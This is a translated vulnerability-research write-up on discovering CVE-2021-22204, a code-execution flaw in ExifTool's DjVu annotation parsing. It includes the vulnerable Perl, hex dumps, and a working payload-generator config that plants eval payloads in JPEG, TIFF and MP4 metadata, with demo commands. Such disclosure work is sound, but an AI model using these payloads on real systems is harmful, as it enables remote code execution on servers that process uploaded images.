本文描述了作者从开始到发现CVE-2021-22204的完整过程。
-> 原文链接


背景

最近在Hackerone上察看一个我最喜欢的漏洞赏金项目时,我发现他们正在使用ExifTool对上传的图片进行过滤。我曾多次使用ExifTool,但从未深入探究其原理,甚至不知道它是用什么语言编写的。在这个赏金项目里,他们使用了旧版本的ExifTool(11.70),虽然解析文件格式很难,但我想也许存在一些现有的CVE可以拿来使用。

在快速搜索后,我只找到一个2018年的旧CVE,因此我决定还是审计它的源代码。ExifTool是使用Perl写的,我之前从未审计过Perl,但它作为一种动态脚本语言,大部分的通用概念我都很熟悉。

我一开始想要寻找那些执行文件访问的地方,但并未获得成果,接着我开始搜索eval,发现它被大量使用:

在Perl中,eval有两种使用方式,eval BLOCKeval EXPR,这就是它被大量使用的原因。忽略所有的eval BLOCK后,我从剩下的结果中发现了一些有趣的东西,其中一个位于DjVu模块的ParseAnt方法中,我不知道DjVu文件是什么,但ParseAnt方法的注释写得非常详细。包含eval的代码块如下:

$tok = '';
  for (;;) {
      # get string up to the next quotation mark
      # this doesn't work in perl 5.6.2! grrrr
      # last Tok unless $$dataPt =~ /(.*?)"/sg;
      # $tok .= $1;
      my $pos = pos($$dataPt);
      last Tok unless $$dataPt =~ /"/sg;
      $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
      # we're good unless quote was escaped by odd number of backslashes
      last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
      $tok .= '"';    # quote is part of the string
  }
  # must protect unescaped "$" and "@" symbols, and "\" at end of string
  $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
  # convert C escape sequences (allowed in quoted text)
  $tok = eval qq{"$tok"};

当匹配到一个引号时,它将建立一个字符串,直到找到另一个引号(包括使用反斜杠转义的引号)。然后通过正则来转义特殊字符,转义后的值将传递给qq,最终到达eval。从注释中可以得知,这么做的原因是为了支持C语言的转义序列,我想这在Perl中也是类似的。被转义的特殊字符是为了防止在eval运行时出现字符串篡改或是打破双引号的闭合。

为了进行一些尝试,我希望能够通过一张图片触发ParseAnt方法。我发现了一个DjVu.djvu图像的样例,但不幸的是,它使用了压缩版的块ANTz而不是文本ANTa

在十六进制编辑器中查看该文件,格式看上去似乎相当简单。在字符串DJVIANTz后面是十六进制的000002E0,它很可能是标签的长度,因为这与文件中剩余的字节数相对应。我在ProcessAnt方法中加入了print($dataPt);,然后在djvu图像上运行了exiftool,打印结果如下:

(metadata
        (Author "Phil Harvey")
        (Title "DjVu Metadata Sample")
        (Subject "ExifTool DjVu test image")
        (Creator "ExifTool")
        (CreationDate "2008-09-23T12:31:34-04:00")
        (ModDate "2008-11-11T09:17:10-05:00")
        (Keywords "ExifTool, Test, DjVu, XMP")
        (Producer "djvused")
        (note "Must escape double quotes (\") and backslashes (\\)")
        (Trapped "Unknown")
        (annote "Did you get this?")
        (url "https://exiftool.org/") )
(xmp "<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>\n\n <rdf:Description rdf:about=''\n  xmlns:album=\"http://ns.adobe.com/album/1.0/\">\n  <album:Notes>Must escape double quotes (") and backslashes (\\)</album:Notes>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n  xmlns:dc='http://purl.org/dc/elements/1.1/'>\n  <dc:creator>\n   <rdf:Seq>\n    <rdf:li>Phil Harvey</rdf:li>\n   </rdf:Seq>\n  </dc:creator>\n  <dc:description>\n   <rdf:Alt>\n    <rdf:li xml:lang='x-default'>ExifTool DjVu test image</rdf:li>\n   </rdf:Alt>\n  </dc:description>\n  <dc:rights>\n   <rdf:Alt>\n    <rdf:li xml:lang='x-default'>Copyright 2008 Phil Harvey</rdf:li>\n   </rdf:Alt>\n  </dc:rights>\n  <dc:subject>\n   <rdf:Bag>\n    <rdf:li>ExifTool</rdf:li>\n    <rdf:li>Test</rdf:li>\n    <rdf:li>DjVu</rdf:li>\n    <rdf:li>XMP</rdf:li>\n   </rdf:Bag>\n  </dc:subject>\n  <dc:title>\n   <rdf:Alt>\n    <rdf:li xml:lang='x-default'>DjVu Metadata Sample</rdf:li>\n   </rdf:Alt>\n  </dc:title>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>\n  <pdf:Keywords>ExifTool, Test, DjVu, XMP</pdf:Keywords>\n  <pdf:Producer>djvused</pdf:Producer>\n  <pdf:Trapped>/Unknown</pdf:Trapped>\n </rdf:Description>\n\n <rdf:Description rdf:about=''\n  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>\n  <xmp:CreateDate>2008-09-23T12:31:34-04:00</xmp:CreateDate>\n  <xmp:CreatorTool>ExifTool</xmp:CreatorTool>\n  <xmp:ModifyDate>2008-11-11T09:17:10-05:00</xmp:ModifyDate>\n </rdf:Description>\n</rdf:RDF>")

<snip>

Author                          : Phil Harvey
Create Date                     : 2008:09:23 12:31:34-04:00
Modify Date                     : 2008:11:11 09:17:10-05:00
Keywords                        : ExifTool, Test, DjVu, XMP

所以元数据的格式似乎是以metadata开始,后面是标签名称和带引号的值。我编辑了文件,用DJVIANTa\x00\x00\x00!(metadata (Author "Phil Harvey"))替换了DJVIANTz...,然后重新运行exiftool,作者标签正确显示。

发现漏洞

现在我有了一个可以快速测试不同组合的方法,在每次修改$tok时,都通过添加更多的print来显示。我在测试其中一个组合时,出现了以下错误:

String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

我使用了一个反斜线,后面是一个换行符,然后是一个双引号,导致其难以被eval

第二个引号没有被转义,因为在正则$tok =~ /(\\+)$/中,$会匹配字符串的结尾,但也会在字符串结尾的换行前进行匹配,所以代码在转义换行符时认为引号被转义了。

这相当令人激动,因为只要让它成为有效的Perl代码,就能够被eval执行。我对元数据进行了修改,注释掉了尾部的引号并执行和返回date

接着在这之上运行exiftool就会导致代码执行:

更多格式

通过传递一个未知的文件给ExifTool来造成代码执行是非常惊人的,但如果能用一个更常见格式的有效图像来触发这个漏洞就更好了。这样一来,即使在传递给ExifTool之前对图片进行了一些验证(例如确保它是png或jpeg),漏洞仍然有效。

我开始寻找是否有其他东西使用DjVu模块,但它只被AIFF模块所引用,没有其他格式引用该模块。我记得ExifTool可以用来嵌入和提取jpeg缩略图,但看ThumbnailImage的使用情况,它似乎没有尝试解析嵌入的图像,这导致我去寻找能够解析图像元数据的函数:

#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)

有趣的是,注释中提到如果制定了ReEntry选项,这就可以被递归调用。通过查看ExtratInfo的使用情况,我找到了Exif模块:

%Image::ExifTool::Exif::Main = (
  # SNIP

  0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },

因此,如果找到了EXIF标签0xc51b,这个值就会被传递给ExtractInfo,元数据就会被解析,从而使DjVu的漏洞被触发。Exif模块顶部的描述是Read EXIF/TIFF meta information,所以我开始阅读TIFF格式。

在测试文件中有一个样本tif,运行exiftools时指定参数-v10

exiftool -v10 ./t/images/ExifTool.tif
  ExifToolVersion = 11.85
  FileName = ExifTool.tif
  Directory = ./t/images
  FileSize = 4864
  FileModifyDate = 1618544560
  FileAccessDate = 1618544564
  FileInodeChangeDate = 1618974185
  FilePermissions = 33188
  FileType = TIFF
  FileTypeExtension = TIF
  MIMEType = image/tiff
  ExifByteOrder = MM
  + [IFD0 directory with 22 entries]
  | 0)  SubfileType = 0
  |     - Tag 0x00fe (4 bytes, int32u[1]):
  |         0012: 00 00 00 00                                     [....]
  | 1)  ImageWidth = 160
  |     - Tag 0x0100 (4 bytes, int32u[1]):
  |         001e: 00 00 00 a0                                     [....]
  | 2)  ImageHeight = 120
  |     - Tag 0x0101 (4 bytes, int32u[1]):
  |         002a: 00 00 00 78                                     [...x]
  | 3)  BitsPerSample = 8 8 8
  |     - Tag 0x0102 (6 bytes, int16u[3]):
  |         0116: 00 08 00 08 00 08                               [......]
  | 4)  Compression = 5
  |     - Tag 0x0103 (2 bytes, int16u[1]):
  |         0042: 00 05                                           [..]
  | 5)  PhotometricInterpretation = 2
  |     - Tag 0x0106 (2 bytes, int16u[1]):
  |         004e: 00 02                                           [..]
  | 6)  ImageDescription = The picture caption
  |     - Tag 0x010e (20 bytes, string[20]):
  |         011c: 54 68 65 20 70 69 63 74 75 72 65 20 63 61 70 74 [The picture capt]
  |         012c: 69 6f 6e 00                                     [ion.]
  | 7)  Make = Canon
  |     - Tag 0x010f (6 bytes, string[6]):
  |         0130: 43 61 6e 6f 6e 00                               [Canon.]
  | 8)  Model = Canon EOS DIGITAL REBEL
  |     - Tag 0x0110 (24 bytes, string[24]):
  |         0136: 43 61 6e 6f 6e 20 45 4f 53 20 44 49 47 49 54 41 [Canon EOS DIGITA]
  |         0146: 4c 20 52 45 42 45 4c 00                         [L REBEL.]
  | 9)  StripOffsets = 3816
  |     - Tag 0x0111 (4 bytes, int32u[1]):
  |         007e: 00 00 0e e8                                     [....]
  | 10) SamplesPerPixel = 3
  |     - Tag 0x0115 (2 bytes, int16u[1]):
  |         008a: 00 03                                           [..]
  | 11) RowsPerStrip = 120
  |     - Tag 0x0116 (4 bytes, int32u[1]):
  |         0096: 00 00 00 78                                     [...x]
  | 12) StripByteCounts = 1048
  |     - Tag 0x0117 (4 bytes, int32u[1]):
  |         00a2: 00 00 04 18                                     [....]
  | 13) XResolution = 180 (1800/10)
  |     - Tag 0x011a (8 bytes, rational64u[1]):
  |         014e: 00 00 07 08 00 00 00 0a                         [........]
  | 14) YResolution = 180 (1800/10)
  |     - Tag 0x011b (8 bytes, rational64u[1]):
  |         0156: 00 00 07 08 00 00 00 0a                         [........]
  | 15) PlanarConfiguration = 1
  |     - Tag 0x011c (2 bytes, int16u[1]):
  |         00c6: 00 01                                           [..]
  | 16) ResolutionUnit = 2
  |     - Tag 0x0128 (2 bytes, int16u[1]):
  |         00d2: 00 02                                           [..]
  | 17) Software = GraphicConverter
  |     - Tag 0x0131 (17 bytes, string[17]):
  |         015e: 47 72 61 70 68 69 63 43 6f 6e 76 65 72 74 65 72 [GraphicConverter]
  |         016e: 00                                              [.]
  | 18) ModifyDate = 2004:02:20 08:07:49
  |     - Tag 0x0132 (20 bytes, string[20]):
  |         0170: 32 30 30 34 3a 30 32 3a 32 30 20 30 38 3a 30 37 [2004:02:20 08:07]
  |         0180: 3a 34 39 00                                     [:49.]
  | 19) Predictor = 1
  |     - Tag 0x013d (2 bytes, int16u[1]):
  |         00f6: 00 01                                           [..]
  | 20) IPTC-NAA (SubDirectory) -->
  |     - Tag 0x83bb (284 bytes, int32u[71] read as undef[284]):
  |         0184: 1c 02 00 00 02 00 02 1c 02 78 00 13 54 68 65 20 [.........x..The ]
  |         0194: 70 69 63 74 75 72 65 20 63 61 70 74 69 6f 6e 1c [picture caption.]
  |         01a4: 02 7a 00 0a 49 20 77 72 6f 74 65 20 69 74 1c 02 [.z..I wrote it..]
  |         01b4: 28 00 0f 6e 6f 20 69 6e 73 74 72 75 63 74 69 6f [(..no instructio]
  |         01c4: 6e 73 1c 02 50 00 0e 49 27 6d 20 74 68 65 20 61 [ns..P..I'm the a]
  |         01d4: 75 74 68 6f 72 1c 02 55 00 06 4f 6e 20 74 6f 70 [uthor..U..On top]
  |         01e4: 1c 02 6e 00 0b 50 68 69 6c 20 48 61 72 76 65 79 [..n..Phil Harvey]
  |         01f4: 1c 02 73 00 09 4d 79 20 63 61 6d 65 72 61 1c 02 [..s..My camera..]
  |         0204: 05 00 11 54 68 69 73 20 69 73 20 74 68 65 20 74 [...This is the t]
  |         0214: 69 74 6c 65 1c 02 37 00 08 32 30 30 34 30 32 32 [itle..7..2004022]
  |         0224: 30 1c 02 5a 00 08 4b 69 6e 67 73 74 6f 6e 1c 02 [0..Z..Kingston..]
  |         0234: 5f 00 07 4f 6e 74 61 72 69 6f 1c 02 65 00 06 43 [_..Ontario..e..C]
  |         0244: 61 6e 61 64 61 1c 02 67 00 0c 6e 6f 20 72 65 66 [anada..g..no ref]
  |         0254: 65 72 65 6e 63 65 1c 02 19 00 08 65 78 69 66 74 [erence.....exift]
  |         0264: 6f 6f 6c 1c 02 19 00 04 74 65 73 74 1c 02 19 00 [ool.....test....]
  |         0274: 07 70 69 63 74 75 72 65 1c 02 74 00 10 43 6f 70 [.picture..t..Cop]
  |         0284: 79 72 69 67 68 74 20 6e 6f 74 69 63 65 1c 02 69 [yright notice..i]
  |         0294: 00 08 68 65 61 64 6c 69 6e 65 00 00             [..headline..]
  | + [IPTC directory, 284 bytes]
  ...

在十六进制编辑器中打开文件,搜索标签ID83BB,发现有以下序列83BB00040000004700000184。参照格式文件,这应该与tif标签相匹配:

typedef struct _TifTag
{
    WORD   TagId;       /* The tag identifier  */
    WORD   DataType;    /* The scalar type of the data items  */
    DWORD  DataCount;   /* The number of items in the tag data  */
    DWORD  DataOffset;  /* The byte offset to the data items  */
} TIFTAG;

所以标签id是0x83BB,数据类型是4,计数是0x47(71),偏移量是0x184(388)。数据类型4是一个32位的无符号整数,这都符合详细输出所提供的信息。只需将0x83BB改为0xC51B,然后重新运行exiftool,它就能接收到HasselbladExif标签。然后我将整个标签值替换成一个简短的PAYLOAD,以触发eval

$ exiftool -v10 ./t/images/ExifTool.tif
...
  | 19) Predictor = 1
  |     - Tag 0x013d (2 bytes, int16u[1]):
  |         00f6: 00 01                                           [..]
  | 20) HasselbladExif = AT&TFORM.DJVUANTa..(metadata.    (Author "\." . return `date`; #")
  |     - Tag 0xc51b (284 bytes, int32u[71] read as undef[284]):
  |         0184: 41 54 26 54 46 4f 52 4d 00 00 00 08 44 4a 56 55 [AT&TFORM....DJVU]
  |         0194: 41 4e 54 61 00 00 01 04 28 6d 65 74 61 64 61 74 [ANTa....(metadat]
  |         01a4: 61 0a 20 20 20 20 28 41 75 74 68 6f 72 20 22 5c [a.    (Author "\]
  |         01b4: 0a 22 20 2e 20 72 65 74 75 72 6e 20 60 64 61 74 [." . return `dat]
  |         01c4: 65 60 3b 20 23 22 29 20 20 20 20 20 20 20 20 20 [e`; #")         ]
  |         01d4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         01e4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         01f4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0204: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0214: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0224: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0234: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0244: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0254: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0264: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0274: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0284: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0294: 20 20 20 20 20 20 20 20 20 20 20 20             [            ]
  | FileType = DJVU
  | FileTypeExtension = DJVU
  | MIMEType = image/vnd.djvu
AIFF 'ANTa' chunk (260 bytes of data): 24
  | ANTa (SubDirectory) -->
  | - Tag 'ANTa' (260 bytes):
  |     0018: 28 6d 65 74 61 64 61 74 61 0a 20 20 20 20 28 41 [(metadata.    (A]
  |     0028: 75 74 68 6f 72 20 22 5c 0a 22 20 2e 20 72 65 74 [uthor "\." . ret]
  |     0038: 75 72 6e 20 60 64 61 74 65 60 3b 20 23 22 29 20 [urn `date`; #") ]
  |     0048: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0058: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0068: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0078: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0088: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0098: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00a8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00b8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00c8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00d8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00e8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00f8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0108: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0118: 20 20 20 20                                     [    ]
  | | Metadata (SubDirectory) -->
  | | + [Metadata directory with 1 entries]
  | | | Author = Thu  6 May 2021 21:06:17 AEST.

很好!现在可以从一个有效的TIF中触发PAYLOAD了,更重要的是,EXIF数据被用于许多其他格式:

EXIF stands for "Exchangeable Image File Format".  This type of information
is formatted according to the TIFF specification, and may be found in JPG,
TIFF, PNG, JP2, PGF, MIFF, HDP, PSP and XCF images, as well as many
TIFF-based RAW images, and even some AVI and MOV videos.

如果有一个专门用于编辑图像元数据的工具,而不是每次都手动编辑文件,那就太好了。事实证明,ExifTool允许你使用Image::ExifTool::UserDefined的配置文件来创建自己的标签表。经过一段时间的试验,我有了下面这个eval.config文件:

%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                use MIME::Base64;
                my $val = shift;
                $encoded = encode_base64($val);
                my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
                my $len = pack "N", length($meta);
                my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
                return $payload;
            }
        }
    }
)

这能让我们在任何exiftool可以写入EXIF标签的格式(如jpg、tif、png)中添加HasselbladExif

$ exiftool -config eval.config image.jpg -eval='system("echo ggg")'
$ exiftool image.jpg
$ exiftool image.jpg
ggg
ExifTool Version Number         : 11.85
File Name                       : image.jpg
Directory                       : .
File Size                       : 11 kB

惊喜格式

任何使用标签表Image::ExifTool::Exif::Main,调用ExtractInfoProcessTIFFProcessExif或处理任何容易被攻击的格式时,很可能也能被利用。一个不完整的列表如下:

如果一个ZIP文件包含meta.json,那么它将有ExtractInfo被调用。

if ($extract{$file}) {
    ($buff, $status) = $zip->contents($member);
    $status and $et->Warn("Error extracting $file"), next;
    if ($file eq 'meta.json') {
        $et->ExtractInfo(\$buff, { ReEntry => 1 });
        if ($$et{VALUE}{App} and $$et{VALUE}{App} =~ /sketch/i) {
            $et->OverrideFileType('SKETCH');
        }
  • PDF - lib/Image/ExifTool/PDF.pm#L2071-L2076
    如果一个PDF文件使用了DCTDecodeJPXDecode过滤器,那么ExtractInfo将被调用。
    if ($filter eq '/DCTDecode' or $filter eq '/JPXDecode') {
      DecodeStream($et, $dict) or last;
      # save the image itself
      $et->FoundTag($tagInfo, \$$dict{_stream});
      # extract information from embedded image
      $result = $et->ExtractInfo(\$$dict{_stream}, { ReEntry => 1 });
    
  • AVI - lib/Image/ExifTool/RIFF.pm#L497-L503
    EXIF标签将被作为tiff处理。ExifTool不支持向AVI写入,但AVI中用于对齐的一个JUNK标签可以直接用EXIF和tiff/exif有效载荷代替。
    EXIF => [{ # (WebP)
          Name => 'EXIF',
          Condition => '$$valPt =~ /^(II\x2a\0|MM\0\x2a)/',
          Notes => 'WebP files',
          SubDirectory => {
              TagTable => 'Image::ExifTool::Exif::Main',
              ProcessProc => \&Image::ExifTool::ProcessTIFF,
    
  • MOV/MP4 - lib/Image/ExifTool/QuickTime.pm#L2128-L2132
    UserData标签RMKN将被处理为tiff,然后将其exif数据进行解析。
RMKN => { #PH (GR)
        Name => 'RicohRMKN',
        SubDirectory => {
            TagTable => 'Image::ExifTool::Exif::Main',
            ProcessProc => \&Image::ExifTool::ProcessTIFF, # (because ProcessMOV is default)

之前的配置文件可以被修改,以增加对该标签的写入支持:

use MIME::Base64;

sub GetDjVu {
    my ($val) = @_;
    $encoded = encode_base64($val);
    my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
    my $len = pack "N", length($meta);
    my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
    return $payload;
}

sub GetTiff {
    my ($val) = @_;
    my $payload = GetDjVu($val);
    my $len = pack "N", length($payload) + 1;
    my $tif =
        "MM\x00*\x00\x00\x00\x08\x00\x05\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00J\x01\x1b\x00\x05\x00\x00\x00\x01\x00" .
        "\x00\x00R\x01(\x00\x03\x00\x00\x00\x01\x00\x03\x00\x00\x02\x13\x00\x03\x00\x00\x00\x01\x00\x01\x00\x00\xc5\x1b\x00\x07" .
        "$len\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00%\x00\x00\x00\x01" .
        "$payload\x00";
    return $tif;
}

%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                return GetDjVu(shift);
            }
        }
    },

    'Image::ExifTool::QuickTime::UserData' => {
        'RMKN' => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            ValueConvInv => sub {
                return GetTiff(shift);
            }
        }
    }
)
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖